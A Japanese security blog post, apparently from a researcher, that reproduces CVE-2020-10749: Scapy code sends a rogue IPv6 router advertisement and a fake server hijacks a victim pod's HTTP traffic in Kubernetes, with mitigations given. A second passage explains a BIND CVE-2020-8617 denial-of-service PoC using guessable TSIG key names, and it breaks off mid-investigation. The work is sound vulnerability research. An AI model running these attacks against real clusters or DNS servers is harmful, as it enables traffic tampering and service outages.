図にすると以下のようになります。実際にはネットワークに繋いだらリンクローカルアドレスが振られて、とかもあるのですが一旦置いておきます。重要なのはノードがRSを送るとルータがRAを返しそのRA内にはプレフィックスが含まれているという点と、そのプレフィックスを使ってIPv6のアドレスを自動で作るという点です。EUI-64はMACアドレスを使うので以下の図のように1234みたいに綺麗にはならないのですが、例のため簡略化しています。

f:id:knqyf263:20200618220052p:plain

そしてもう一つ重要な点として、ノードがRSを送らなくてもルータはRAを送ることが可能という点です。これは別に攻撃に関係なく、定期的にルータからRAを送信するという設定が可能です。そのためノードとしても自分がRSを送っていなければRAを受け取らないということはなく、RAを受け取れば普通に設定します。

また、ノードはRAを受け取ったルータをデフォルトゲートウェイとして設定します。静的に設定した場合とかDHCPv6とかが共存してる場合とか細かく話し出すとキリがないので、ルータとノードだけがあるシンプルな構成と考えてください。

ということで上述したように、攻撃者が不正RAを送出するとノードはそのノードをルータと見なしてしまいそちらにパケットを送信します。

f:id:knqyf263:20200618220326p:plain

不正RAを使った攻撃

正直もう概要としてはあまり説明するところはありません。上の不正RAをコンテナ内で行うだけです。コンテナ内から適当なプレフィックスを指定してRAをブロードキャストすると、RAを受け取ったインタフェースでIPv6がEUI-64などにより設定され、RAを送ってきたコンテナのIPv6アドレスをデフォルトゲートウェイとして設定します。

じゃあもう理解できたな、と思いがちですが実は攻撃しようとするとそんなに現実が甘くないことが分かります。これは実際にやってみないと気づきにくいと思うのでやはり検証が大事だな、と思うわけですがデフォルトではコンテナ内で勝手にIPアドレスを変更したり付与できません。もちろん権限を付与していれば別です。そのため、上のように攻撃者のコンテナにfe80::2を付与しようとしても付与することが出来ません。つまりfe80::2に通信を向けさせようとしてもすんなりとはいかないということです。

ではどうするかと言うと、実はそこまで難しくありません。まず、最初のハードルとしてIPv6アドレスとMACアドレスマッピング問題があります。IPv6ではNeighbor Discovery(ND)が使われるわけですが、コンテナにはIPv6のアドレス(fe80::2)が付与されていないためNDに応答してくれません。ただこれはLinuxの機能として応答してくれなくて不便というだけなので、自分でプログラムを書いたりして勝手に応答すれば問題ありません。さらに、今回の例では実はそれすら必要ありません。RAを送る際にICMPv6 OptionとしてSource link-layer addressとしてMACアドレスを指定しておけば、ソースIPv6アドレスと紐付けてNDキャッシュに保存しておいてくれます(多分)。嘘言ってたらすみません。もしかしたら単にパケットの来たソースアドレスとMACアドレスのペアを保存してるだけなのかもしれませんが、少なくとも自分の環境ではICMPv6 Optionに入れておかないとNDキャッシュに入れてくれませんでした。

f:id:knqyf263:20200618175648p:plain

その後、fe80::2に送ろうとした場合は既にNDキャッシュにfe80::2のMACアドレスが保存されているため勝手に攻撃者コンテナに送信してくれます。

そして次のハードルですが、fe80::2宛のパケットなのに攻撃者コンテナにはそのアドレスが付いていないためパケットを落としてしまう問題です。これも適当にプロキシを立てても行けるかとは思いますが、先程同様にインタフェースをsniffしつつ自分でパケットを応答してあげれば良いです。後ほどスクリプトも説明しますが、自分はScapyを使ってTCPの3-way handshakeなどを行いました。

実例

言葉で説明されてもよくわからないかと思うので実際に攻撃してみます。ネットワーク構成としては以下のようなものを想定しています。上述したように攻撃者のコンテナにはIPv6はつけることが出来ない設定です。また、1 Pod 1 コンテナ想定です。

f:id:knqyf263:20200618221302p:plain

見て分かる通り、IPv4アドレスしか利用していません。こういう環境上でもattackerのPodからvictimにRAを投げてやることでIPv6を強引に付与しつつデフォルトゲートウェイを自分に向けるという攻撃です。

f:id:knqyf263:20200618221441p:plain

今回は他のコンテナに対して攻撃を行っていますが、ノードに対しても攻撃可能であることを検証済みです。ノード上から通信している場合はそれを攻撃者のPodに持ってくることが出来ます。

Kubernetes環境の準備

今回はせっかくなのでMicroK8sを使いました。自分はmacOS上で試したのですが、Windowsやminikube使ってもクラスタが用意できれば何でも良いと思います。

MicroK8sのインストール方法は以下です。

ubuntu.com

まずクラスタを立ち上げます。

$ brew install ubuntu/microk8s/microk8s
$ microk8s install
MicroK8s is up and running. See the available commands with `microk8s --help`.
$ microk8s status --wait-ready
microk8s is running
addons:
dashboard: disabled
dns: disabled
metrics-server: disabled
registry: disabled
storage: disabled
cilium: disabled
fluentd: disabled
gpu: disabled
helm: disabled
helm3: disabled
host-access: disabled
ingress: disabled
istio: disabled
jaeger: disabled
knative: disabled
kubeflow: disabled
linkerd: disabled
metallb: disabled
prometheus: disabled
rbac: disabled
$ microk8s kubectl get nodes
NAME          STATUS   ROLES    AGE   VERSION
microk8s-vm   Ready    <none>   10d   v1.18.3-34+0c5dcc01175871

いくつかアドオンをenableしておきます。dashboardとかは今回不要ですが便利なので一応有効にしてます。

$ microk8s enable dns storage dashboard registry

毎回microk8sコマンド打つのも面倒なので、kubeconfigを保存してKUBECONFIGに指定してしまいます。これはもっと良い方法ありそうですが、MicroK8sの使い方記事じゃないので一旦これで行きます。

$ microk8s config > kubeconfig 
$ export KUBECONFIG=$PWD/kubeconfig
$ kubectl get nodes
NAME          STATUS   ROLES    AGE   VERSION
microk8s-vm   Ready    <none>   10d   v1.18.3-34+0c5dcc01175871

Victim Pod

victim側は多分大体のイメージで動くと思いますが、今回はalpine:3.12を使っています。

以下のリポジトリに今回の検証で使ったファイル一式が入ってます。

CVE-2020-10749/victim.yml at master · knqyf263/CVE-2020-10749 · GitHub

apiVersion: apps/v1
kind: Deployment
...
spec:
    spec:
      containers:
      - image: alpine:3.12
        name: victim
        command: ["sleep", "100000"]

victim側のDeploymentの設定はこれだけなので自分で用意してもらっても大丈夫です。

とはいえ後々スクリプトなどが必要になるのでcloneしておきます。

$ git clone https://github.com/knqyf263/CVE-2020-10749.git
$ cd CVE-2020-10749

ではapplyします。

$ kubectl apply -f victim/victim.yml
$ kubectl get pods
NAME                      READY   STATUS    RESTARTS   AGE
victim-5484d9f977-drttl   1/1     Running   0          3s

このPodに入ります。そして、IPv6が有効かを確認します。いくつか読み取れない値がありますが無視で良いです。

$ kubectl exec -it victim-5484d9f977-drttl -- sh
/ # sysctl -a | grep disable_ipv6
net.ipv6.conf.all.disable_ipv6 = 0
net.ipv6.conf.default.disable_ipv6 = 0
net.ipv6.conf.eth0.disable_ipv6 = 0
net.ipv6.conf.lo.disable_ipv6 = 0

disable_ipv6=0なので、つまり有効ということです。そしてRAを受け取る設定になっているかも確認します。

/ # sysctl -a | grep "accept_ra ="
net.ipv6.conf.all.accept_ra = 1
net.ipv6.conf.default.accept_ra = 1
net.ipv6.conf.eth0.accept_ra = 1
net.ipv6.conf.lo.accept_ra = 1

accept_ra=1なので受け取る設定になっています。次にインタフェースに付いているIPv6アドレスを見てみます。

/ # ip -6 a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 state UNKNOWN qlen 1000
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
3: eth0@if13: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1450 state UP
    inet6 fe80::d096:88ff:fe81:5143/64 scope link
       valid_lft forever preferred_lft forever

リンクローカルアドレスだけは付いている状態です。これで攻撃可能な状態であることが分かります。

念の為IPv6のルーティングテーブルも見ておきます。

/ # ip -6 route
fe80::/64 dev eth0  metric 256
ff00::/8 dev eth0  metric 256

fe80等のアドレス宛ならeth0からパケットを送出するがそれ以外の宛先へのルートは持っていないことが分かります。

victimの確認は以上です。ただ設定を確認しただけでプレーンなalpine:3.12のままです。後にcurlを使うので先にインストールだけしておきます。

/ # apk add curl

後ほどexample.com宛の通信を改ざんするので、現時点では正常に通信できることを確かめておくと良いです。

/ # curl http://example.com

attacker

不正RA

まず不正RAを送るためのプログラムを書く必要があります。Scapyであれば以下のように簡単にRAパケットを作ることが出来ます。

ra  = Ether(src=mac_addr)/IPv6(src=src_addr)/ICMPv6ND_RA()
ra /= ICMPv6NDOptPrefixInfo(prefix=prefix, prefixlen=64)
ra /= ICMPv6NDOptSrcLLAddr(lladdr=mac_addr)

ここでIPv6のsrcとして指定するアドレスは実際には存在しないIPv6アドレスです。今回は適当に fe80::42:fcff:dead:beef としています。dead:beaf以外のところは特に意味ないです。スクリプト全体は以下にあります。

CVE-2020-10749/fake_ra.py at master · knqyf263/CVE-2020-10749 · GitHub

そして上で述べたとおり、偽のソースIPv6アドレスとMACアドレスの紐付けを行うためにICMPv6NDOptSrcLLAddrに攻撃者コンテナのMACアドレスを指定しています。

攻撃者用イメージのbuild/push

何度も検証する場合、毎回このPythonファイルをコンテナ内にコピーするのは面倒なのでこのファイルを含んだイメージを作成しておきます。この時点で既に後に使うダミーサーバ用のプログラムも含んでいます。

これをMicroK8sのビルトインレジストリにpushしたいので、ホスト名を付けてビルドします。

microk8s.io

上のドキュメントではlocalhostになってますが、MicroK8s on macOSでは仮想マシン上でクラスタが起動されているので、IPアドレスを指定する必要があります(これまた多分)。

$ kubectl get nodes -o wide
NAME          STATUS   ROLES    AGE   VERSION                     INTERNAL-IP    EXTERNAL-IP   OS-IMAGE             KERNEL-VERSION       CONTAINER-RUNTIME
microk8s-vm   Ready    <none>   10d   v1.18.3-34+0c5dcc01175871   192.168.64.3   <none>        Ubuntu 18.04.4 LTS   4.15.0-101-generic   containerd://1.2.5

192.168.64.3ということが分かったのでビルドします。Dockerfileは以下にありますが、alpine:3.12をベースにしてプログラムを中にCOPYしてるだけです。

CVE-2020-10749/Dockerfile at master · knqyf263/CVE-2020-10749 · GitHub

$ docker build -t 192.168.64.3:32000/attacker ./attacker

あとはpushなのですが上のドキュメントにも書いている通り、デフォルトではビルトインレジストリがHTTPなのでDocker側の設定で許可してあげる必要があります。以下のような感じです。

f:id:knqyf263:20200618210231p:plain

設定変更したらDocker Engineの再起動が必要です。ではpushします。

$ docker push 192.168.64.3:32000/attacker

これで準備完了です。

不正RAメッセージの送信

準備が終わったのでデプロイします。デプロイ用のYAMLも特に変わったところはないです。特に強い権限を与えるわけでもなくデフォルトという感じです。

$ cat attacker/attacker.yml
apiVersion: apps/v1
kind: Deployment
spec:
...
    spec:
      containers:
      - image: localhost:32000/attacker
        name: attacker
$ kubectl apply -f attacker/attacker.yml
deployment.apps/attacker created

ログインしてMACアドレスを確認します。

$ kubectl get pods
NAME                       READY   STATUS    RESTARTS   AGE
attacker-8857dd5c9-j7wwd   1/1     Running   0          11s
victim-5484d9f977-drttl    1/1     Running   0          3h28m
$ kubectl exec -it attacker-8857dd5c9-j7wwd -- sh
/ # ip a show eth0
3: eth0@if14: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1450 qdisc noqueue state UP
    link/ether 0e:57:fb:44:b3:f1 brd ff:ff:ff:ff:ff:ff
    inet 10.1.55.42/24 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::c57:fbff:fe44:b3f1/64 scope link
       valid_lft forever preferred_lft forever

このコンテナのMACアドレス0e:57:fb:44:b3:f1 ということが分かったのでスクリプトを更新します。このコンテナにもリンクローカルアドレスがついていることから分かる通り、IPv6はdisableされていないようです。

では上のプログラムを実行してみます。

/ # python fake_ra.py
Sending a fake router advertisement message...
.
Sent 1 packets.

これでvictimの方のインタフェースに指定したプレフィックス2001:db8:1::)を持ったIPv6アドレスが生成されているはずです。victimのPodに入って確認してみます。

$ kubectl exec -it victim-5484d9f977-drttl -- sh 
/ # ip -6 a show eth0
3: eth0@if13: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1450 state UP
    inet6 2001:db8:1:0:d096:88ff:fe81:5143/64 scope global dynamic
       valid_lft forever preferred_lft forever
    inet6 fe80::d096:88ff:fe81:5143/64 scope link
       valid_lft forever preferred_lft forever

無事に 2001:db8:1:0:d096:88ff:fe81:5143/64 というIPv6アドレスが付与されていることが分かりました。このコンテナのMACアドレスd2:96:88:81:51:43 なので、もし詳しくない方はEUI-64について学んでみても面白いと思います。ただEUI-64のようにMACアドレスから生成する方式だとIPv6アドレスから端末を特定されてしまいプライバシー的に問題があるということで、ランダムに生成するための様々なRFCが提案されていたりもします。

脱線しましたが話を戻します。IPv6アドレスだけでなくIPv6のルーティングテーブルも重要です。

/ # ip -6 route
2001:db8:1::/64 dev eth0  metric 256
fe80::/64 dev eth0  metric 256
default via fe80::42:fcff:dead:beef dev eth0  metric 1024  expires 0sec
ff00::/8 dev eth0  metric 256

上で見たときには存在しなかったdefaultが生成されています。さらに、デフォルトゲートウェイの宛先は上で指定したdead:beafのアドレスになっています。これによって、victimコンテナは攻撃者のコンテナに対してIPv6のパケットを投げてしまいます。

NDキャッシュも見てみます。

/ # ip -6 neigh
fe80::42:fcff:dead:beef dev eth0 lladdr 0e:57:fb:44:b3:f1 router used 0/0/0 probes 0 STALE

攻撃時にRAパケット内にICMPv6 Optionとしてlladdrを指定しておいたため、無事に fe80::42:fcff:dead:beef0e:57:fb:44:b3:f1 が紐付いています。fe80::42:fcff:dead:beef などというIPv6アドレスは実際には誰も持っていないわけですが、ちゃんと攻撃者のコンテナにパケットが来てくれます。説明だけ見てふむふむってなるだけだと、こういう細部まで考えが至らないかと思います。

不正サーバ

この時点で既にIPv6パケットは攻撃者のコンテナに来てくれます。そこからどうするかは自由なわけですが、せっかくなのでサーバのふりをして偽の応答を返してみます。HTTPSだと証明書を信頼させる必要があるので、今回はHTTPを対象にします。実際のシナリオでもHTTPSに対してMitMしたいとなると結構面倒かなと思います。コンテナが強い権限を持っていてホストのroot CA設定を変更可能だったりしたら攻撃が成立しそうですが、それ以外だとあまり思いついてないです。なのでMitMが成立しても全部HTTPSなので問題ないです、という可能性もあります。

ただパケットを自分に向けさせつつ全部dropすることでDoSは可能なので、情報窃取目的ではなくサービス妨害という意味では有効かもしれません。

今回はexample.comに対する通信をMitMして偽の応答を返すことにします。先程から説明している通り、コンテナにはIPv6アドレスを付与することが出来ません。そのため、TCPの3-way handshakeを自分で行い、HTTPのGETリクエストが来たらHTTPレスポンスを自分で返す必要があります。

Scapyを使えば難しくないので簡単に説明します。

from scapy.all import *

# recv: SYN
syn = sniff(count=1, filter="tcp and port 80")

# initializing some variables for later use.
sport = syn[0].sport
seq_num = syn[0].seq
ack_num = syn[0].seq + 1
src = syn[0][IPv6].src
dst = syn[0][IPv6].dst

# send: SYN/ACK
eth = Ether(src=syn[0].dst, dst=syn[0].src)
ipv6 = IPv6(src=dst, dst=src)
tcp_synack = TCP(sport=80, dport=sport, flags="SA", seq=seq_num, ack=ack_num, options=[('MSS', 1460)])
sendp(eth/ipv6/tcp_synack, iface="eth0")

TCPで80番ポート宛のパケットをsniffしてシーケンス番号等を取り出してSYN/ACKを返します。すると次にHTTPリクエストが飛んでくるので、あとはHTTPのレスポンスを返すだけです。

# recv: HTTP request
get_request = sniff(filter="tcp and port 80",count=1,prn=lambda x:x.sprintf("{IP:%IP.src%: %TCP.dport%}"))

# send: HTTP response
ack_num = ack_num + len(get_request[0].load)
seq_num = syn[0].seq + 1
html1 = "HTTP/1.1 200 OK\x0d\x0aDate: Wed, 29 Sep 2020 20:19:05 GMT\x0d\x0aServer: Malicious server\x0d\x0aConnection: Keep-Alive\x0d\x0aContent-Type: text/html; charset=UTF-8\x0d\x0aContent-Length: 17\x0d\x0a\x0d\x0amalicious!!!!!!!\n"
tcp = TCP(sport=80, dport=sport, flags="PA", seq=seq_num, ack=ack_num, options=[('MSS', 1460)])
ack_http = srp1(eth/ipv6/tcp/html1, iface="eth0")

この辺りはコピペしてきて改変しただけなので不要なヘッダとかパラメータあると思います。あとはFINを送ってあげてTCPセッションを終了すれば完了です。プログラム全体は以下にあります。

CVE-2020-10749/server.py at master · knqyf263/CVE-2020-10749 · GitHub

攻撃者Podに入ってこのプログラムを起動しましょう。ただ先程送ったNDのキャッシュが切れてるかもしれないので、もう一度fake_ra.pyを実行しておくと良いかもしれません。

kubectl exec -it attacker-8857dd5c9-j7wwd -- sh 
/ # python server.py
Listening...

Exploit

上のターミナルは開きつつ、別のターミナルを開いてvictim Podに入ります。全て準備は整っているので、あとはexample.comcurlするだけです。

$ kubectl exec -it victim-5484d9f977-drttl -- sh
/ # curl http://example.com
malicious!!!!!!!

ということでvictimからしたら単にexample.comにアクセスしただけなのにmaliciousという文字列が返ってきました。victimからすれば何もしていないのに突然通信が改ざんされているので気付きようがないですね。

動画

今行った一連の流れをGIFにしておいたので、興味あれば見てください。

CVE-2020-10749/CVE-2020-10749.gif at master · knqyf263/CVE-2020-10749 · GitHub

緩和策

もちろんCNIプラグインのバージョンを更新すれば影響を受けなくなるわけですが、それが難しい場合は以下の3つにより緩和可能です。

  • net.ipv6.conf.all.accept_ra=0 に設定する
  • TLSを使う
    • きちんとした証明書を使ってHTTPS通信しているとMitMは難しくなります
  • CAP_NET_RAWを無効にする
    • Pod Security Policy などに RequiredDropCapabilities を設定してNET_RAWの権限をなくしてしまえばコンテナから好きにパケットを送れなくなるので今回の攻撃の影響は受けません。

逆に言うと攻撃の成立条件は上の反対を全て満たしている場合、になります。accept_ra=1でかつTLSを使っておらずCAP_NET_RAWが有効ということです。

また、RAを無効にしたりNET_RAWを無効にしたりすると正常な通信に影響が出る可能性もあるので気をつける必要があります。

余談

そもそも最初に述べたように、何でこれが脆弱性として認定されたのかな、というのは少し気になっています。さらに言うと弊社が以前出したブログでDNS Spoofingを使って限りなく似たことを行っています。NET_RAWさえ付与されていれば成立する攻撃で、今回の脆弱性と同様にMitMですし攻撃条件の差異もあまり見当たりません。にも関わらずこちらは脆弱性としては認められませんでした。

blog.aquasec.com

ボスがKubernetesのセキュリティチームに聞いたところセキュリティチームも何でだろうね...と困惑していたらしいので対応した人によって判断基準が違ったりするのかもしれません。

まとめ

今回は攻撃条件も厳しく攻撃成立後も与えられるインパクトは小さいためそこまで急いで対応する必要のある脆弱性ではないと考えています。ですがきちんと自分で攻撃を成立させることで学ぶことは多いです。もし興味がある方は自分で一度やってみると理解が深まると思います。

そしてそもそもこれはRAの問題であってKubernetesの何が問題なのか、と言われると自分も正直答えられません。RAの問題とはいえ攻撃が成立するんだから脆弱性なのでは?と言われると今度は上のDNS Spoofingが脆弱性として認定されていない理由が分かりません。細かいことは気にせず強く生きていきたいと思います。

CVE-2020-8617のPoCについての解説

概要

BINDの脆弱性であるCVE-2020-8617が公開されました。そのPoCコードを自分で書いてみたので解説しておきます。

GitHub上で公開されているPoCは見つからなかったので世界初か?!と思っていたのですが @shutingrz さんから既にISCのGitLabで公開されていることを教えてもらいました。以下のやつだと思います。

gitlab.isc.org

ということで時間を無駄にした感じもありますが、上のコードを見ただけではなぜそれが攻撃につながるのか理解するのは難しいと思うので、自分で書いてみたのは勉強のためには良かったです。既に公開されているということなので自分のPoCも心置きなく置いておきます。PythonのScapy版なので教育用途で役には立つかなと思います。

github.com

少なくともBINDのバージョン9.12.4で試した限りではほぼデフォルト設定で攻撃が刺さりました。しかも特に難しい攻撃手順は不要でリモートから1パケット送るだけでBINDサーバが落ちます。もしかしたら自分の環境が特殊という可能性も僅かにあり、万人に刺さるかはまだ調査中なのですが現時点では広範囲の人に影響すると考えています。緊急対応するべき脆弱性だと思われます。もう少し詳しく分かれば更新します。

もしこれが間違いで過剰な脅しになっていたらあとで謝ろうと思いますが、自分が調査した限りでは危険度は深刻だと思います。

テスト環境

  • BIND: 9.12.4

試したバージョンはまだこれだけです。新たに試せたら追記しておこうと思いますが、以下の話は上のバージョンを前提に話しています。

また、権威サーバについての検証です。キャッシュサーバでどうなるかは未検証です。

CVE-2020-8617の概要

ISCからCVE-2020-8617の概要が公開されています。

kb.isc.org

影響するバージョン

  • 9.0.0 -> 9.11.18
  • 9.12.0 -> 9.12.4-P2
  • 9.14.0 -> 9.14.11
  • 9.16.0 -> 9.16.2
  • 9.17.0 -> 9.17.1 of the 9.17 experimental development branch.
  • All releases in the obsolete 9.13 and 9.15 development branches.
  • All releases of BIND Supported Preview Edition from 9.9.3-S1 -> 9.11.18-S1.

これを見るとかなり幅広く影響しそうです。自分はまだ9.12.4で試しただけなので他のバージョンでも同様に刺さるかは未確認です。

深刻度

High

説明

TSIG リソースレコードを含むメッセージの有効性をチェックする BIND コードのエラーが攻撃者によって悪用され、tsig.c のアサーション失敗を引き起こし、クライアントへのサービス拒否を引き起こす可能性があります。

ISCのページに書いてある英語をそのままDeepLに突っ込みましたが普通に理解できる文章で凄いですね。要するにTSIGリソースレコードを含むリクエストを送るとBINDサーバにDoSを引き起こせるということです。

影響

特別に作られたメッセージを使って、攻撃者がサーバで使われている TSIG 鍵の名前を知っている (あるいは推測に成功している) 場合、攻撃者は潜在的に BIND サーバを矛盾した状態にする可能性があります。

BIND はデフォルトでローカルセッションキーを設定しているので、設定がそれ以外の場合はそれを利用しないサーバでも、現在の BIND サーバのほとんどすべてが脆弱です。

2018年3月以降のBINDのリリースでは、tsig.cのアサーションチェックがこの矛盾した状態を検知して意図的に終了します。このチェックが導入される前は、サーバは矛盾した状態で動作し続け、潜在的に有害な結果をもたらしていました。

これもDeepLに突っ込んだだけなので原文が見たい方は上のISCのページに行ってください。TSIGを使う場合以下のようにkeyの設定が必要です。

key "keyname" {
       algorithm hmac-sha512;
       secret "keyvalue";
};

これはHMACに使うための共有鍵ですが、このkeynameが攻撃者にバレると攻撃可能ということが書いてあります。ここで重要なのはkeyの値ではなくkey名ということです。key名は人間がわかりやすい名前をつけるはずで、zoneから流用する運用も多いと思います。zoneがexample.com.ならkeynameもexample.com.とかaxfr.example.comとか。

また、後述していますが自分の現時点でのPoCはどのアルゴリズムかの推測も必要です。こちらは数種類しかなく総当りすれば良いだけなのでISC的にはスルーしているだけかもしれません。

そうは言ってもkey名はユーザが自分で設定するものなので簡単には推測できないだろう、と思いがちですが設定によってはBINDは起動時に自動でlocalにkeyを生成します。ISCのQ&Aには以下のように書いています。

この FAQ を書いている時点では、サーバに 1 つ以上の TSIG 鍵がロードされる方法は 2 つあります。

  1. 設定の中にkey {}; stanza がある場合 (つまり、named.conf またはそのインクルードファイルの一つで共有鍵を直接設定している場合)
  2. update-policy local; を使用しているときに動的更新に使用される、自動生成されたセッション キー。

こちらも原文が見たい方は以下から飛んでください。

kb.isc.org

これを見るとあまり関係なさそう、と思いがちですが1も2もかなり現実的に起こるシナリオだと思っています。

rndc-confgenを使った場合

BINDを管理するためにrndcを使っている人も多いかと思います。自分も過去運用していた時は便利なので使っていました。このrndcの設定をする際に自分で鍵を生成してnamed.confに書いても良いのですが若干面倒です。そこでrndc-confgenコマンドが利用されることがあります。このrndc-confgenですが何も考えずに実行すると rndc-key というkey名で生成されます。つまり簡単に予測可能です。

[root@7b07f5116c2b /]# /var/named/chroot/sbin/rndc-confgen -a
wrote key file "/var/named/chroot/etc/rndc.key"
[root@7b07f5116c2b /]# cat /var/named/chroot/etc/rndc.key
key "rndc-key" {
        algorithm hmac-sha256;
        secret "DVTsYWZpnNHeDIOxS2fGFgTreuP6cYVoYeZtT1CMr2Y=";
};

そして以下のようにnamed.confでincludeしていたらアウトです。

include "/etc/rndc.key";

これ自体は特に珍しい設定ではないので十分ありえると思っています。というか自分の作ったBINDイメージは全部こうなってます。この設定自体が脆弱なので良くない、とかでは全くありません。

これは上の1に該当します。もちろんrndc使っていなくても自分でkeyを生成して設定していても該当します。

local-ddns

問題はこちらな気がします。ISCによると update-policy local; を設定していると自動でセッションキーを生成すると言っています。この生成されるkey名はデフォルトでlocal-ddnsになっています。/var/run/named/session.key に生成されます。もちろんchrootしていればそれに応じたディレクトリになります。

github.com

そしてこれは update-policy local; の設定をしている場合、と言っているのですが自分の環境では特に設定していなくても生成されました。自分のnamed.confは以下を使っているのですが、少なくとも update-policy local; は書いていません。

github.com

もしかしたらいずれかの設定が自動で update-policy local; を設定するのかもしれないと疑っているのですが今のところ条件は分かっていません。詳しい方がいたら教えていただきたいです。

まだ正確に条件が把握できていないのが申し訳ないのですが、少なくとも update-policy local;grepして書いてないから大丈夫!という状況ではなさそうです。rndc tsig-list で自分の環境を確認したほうが良いと思います。ちなみにlocal-ddnsのsession.keyはnamedの起動中しか存在しませんでした。namedのプロセスを落とすと自動で消えました。

Ctrl-Zでプロセスを生かしたままにしたらsession.keyの中にlocal-ddnsが見えました。デフォルトではアルゴリズムはhmac-sha256になります。

[root@f9b5f280bb62 /]# /var/named/chroot/sbin/named -g -t /var/named/chroot -c /etc/named.conf
20-May-2020 09:25:31.333 starting BIND 9.12.4 <id:079c3eb>
20-May-2020 09:25:31.333 running on Linux x86_64 4.19.76-linuxkit #1 SMP Fri Apr 3 15:53:26 UTC 2020
20-May-2020 09:25:31.333 built with '--enable-syscalls' '--prefix=/var/named/chroot' '--enable-threads' '--with-openssl=yes' '--enable-openssl-version-check' '--enable-ipv6' '--disable-linux-caps'
^Z
[1]+  Stopped                 /var/named/chroot/sbin/named -g -t /var/named/chroot -c /etc/named.conf
[root@f9b5f280bb62 /]# cat /var/named/chroot/var/named/chroot/var/run/named/session.key
key "local-ddns" {
        algorithm hmac-sha256;
        secret "XRV4IEp28pWoPtdeWEisfR1bo8qEHlDibEJweLF0z/4=";
};

それはこちらで定義されています。

github.com

ちなみにプロセスを止めた時は以下です。

[root@f9b5f280bb62 /]# /var/named/chroot/sbin/named -g -t /var/named/chroot -c /etc/named.conf
20-May-2020 09:25:31.333 starting BIND 9.12.4 <id:079c3eb>
20-May-2020 09:25:31.333 running on Linux x86_64 4.19.76-linuxkit #1 SMP Fri Apr 3 15:53:26 UTC 2020
20-May-2020 09:25:31.333 built with '--enable-syscalls' '--prefix=/var/named/chroot' '--enable-threads' '--with-openssl=yes' '--enable-openssl-version-check' '--enable-ipv6' '--disable-linux-caps'
...
20-May-2020 09:26:29.589 exiting
[root@596a9635f827 /]# cat /var/named/chroot/var/named/chroot/var/run/named/session.key
cat: /var/named/chroot/var/named/chroot/var/run/named/session.key: No such file or directory

自分のバージョンは9.12.4なのでこのバージョンだけ特殊という可能性も0ではありませんが、もし多くのバージョンでlocal-ddnsが生成されるとしたら非常に危険な状態です。実際にlocal-ddnsをkey名として指定して攻撃を成功させることができています。

脆弱性詳細

では実際に詳細を見ていきます。自分がどう調査していっていったのか、という時系列ベースになっているので少し見にくいかもしれませんが調査プロセスも誰かの参考になるかもしれないので順番に書いておきます。

まず今回のCVE-2020-8617に対するパッチを見てみます。

github.com

この変更を見るとrequestは処理されてほしくないのに処理されてしまっている感じが伝わってきます。コミットメッセージも

Only look at tsig.error in responses

と言っていて、リクエスト時にもtsig.errorを見てしまったのかと予想できます。前者は!responseなのでrequestを吸い込みたそうで、後者はif responseなのでリクエストに入ってほしくなさそうです。つまり、細工したリクエストを送ってこの最初のelse ifに入らず後半のifに入れば勝てそうな予感がします。

ここからは実際にBINDをビルドしながら検証していきました。調べたところdigでTSIGリソースレコードを送れることがわかりました。ということで適当にリクエストを送ってみます。

$ dig @127.0.0.1 -y hmac-sha1:local-ddns:abcdefg www.example.com 

ですが、これだとそもそも上記のパッチがあたっているdns_tsig_verify関数にも入ってくれませんでした。

bind9/tsig.c at 2d95c81452096478f0dbb071db21b2fba1df5bc1 · isc-projects/bind9 · GitHub

さすがにsha1の形ぐらいは揃えないとダメなのかな?と思い適当な値をsha1して送りました。

$ echo foo | sha1sum
f1d2d2f924e986ac86fdf7b36c94bcdf32beec15  -
$ dig @127.0.0.1 -y hmac-sha1:local-ddns:f1d2d2f924e986ac86fdf7b36c94bcdf32beec15 www.example.com

するときちんとdns_tsig_verifyが呼ばれてverify errorになりました。単にエラーが出ただけでプロセスが落ちたりはしません。printfデバッグしたところ以下のところで弾かれていました。

bind9/tsig.c at 2d95c81452096478f0dbb071db21b2fba1df5bc1 · isc-projects/bind9 · GitHub

tsig.algorithmを使ってkeyを探しているようだったのでlocal-ddnsアルゴリズムを調べたところhmac-sha256でした。そこでsha1ではなくsha256で送ってみました。

$ echo foo | sha256sum
b5bb9d8014a0f9b1d61e21e796d78dccdf1352f23cd32812f4850b878ae4944c  -
$ dig @127.0.0.1 -y hmac-sha256:local-ddns:b5bb9d8014a0f9b1d61e21e796d78dccdf1352f23cd32812f4850b878ae4944c www.example.com

今度はエラーの内容が変わり、以下のif分の中でエラーで弾かれていることがわかりました。

bind9/tsig.c at 2d95c81452096478f0dbb071db21b2fba1df5bc1 · isc-projects/bind9 · GitHub

これは見ればわかるのですが、評価して欲しい以下のelse if文のif側になります。

bind9/tsig.c at 2d95c81452096478f0dbb071db21b2fba1df5bc1 · isc-projects/bind9 · GitHub

つまり、こっち側に入ると確実に目標のelse ifで評価されてくれません。パッチはrequestを吸い込むようにしているのでそちらのelse if内にも入って欲しいわけではないのですが、そこのelse ifで評価されないと攻撃として成立しない予感がします。

そこでifの条件を見ると if (tsig.siglen > 0) { となっています。

bind9/tsig.c at 2d95c81452096478f0dbb071db21b2fba1df5bc1 · isc-projects/bind9 · GitHub

つまり、macを空にすればsiglen=0となってこちらのifには入らずに済みそうです。そこで空にして送ろうとしたのですが、digではもう無理なようでした。今改めて見ると空文字をbase64してCg==とか送ればまだ戦えたのかな?と思ったのですが、どうせもっと細かくフィールドを細工する必要があったのでscapyを使うほうが良いです。

$ dig @127.0.0.1 -y hmac-sha256:local-ddns: www.example.com
;; Couldn't create key hmac-sha256: bad base64 encoding

そこでPythonのライブラリであるscapyに切り替えました。ドキュメントを見るとDNSRRTSIGが定義されているのでTSIGを送れそうです。

scapy.readthedocs.io

まずscapyでTSIGをAdditonal RRsに入れて正常寄りのリクエストを送ってみたのですが、なぜかエラーでうまく送れません。Wiresharkで見てみたところMalformed Packetと表示されていました。

f:id:knqyf263:20200520232842p:plain

原因が分からなかったので、digで送った正常なリクエスト(macは正しくないのでBINDサーバ側で弾かれるやつですが少なくともMalformed Packetではない)もキャプチャしてひたすら目diffしました。関係ないですが2つのパケットをdiff取って可視化してくれるツールがあれば誰か教えて下さい。そこで無駄に時間食いました。

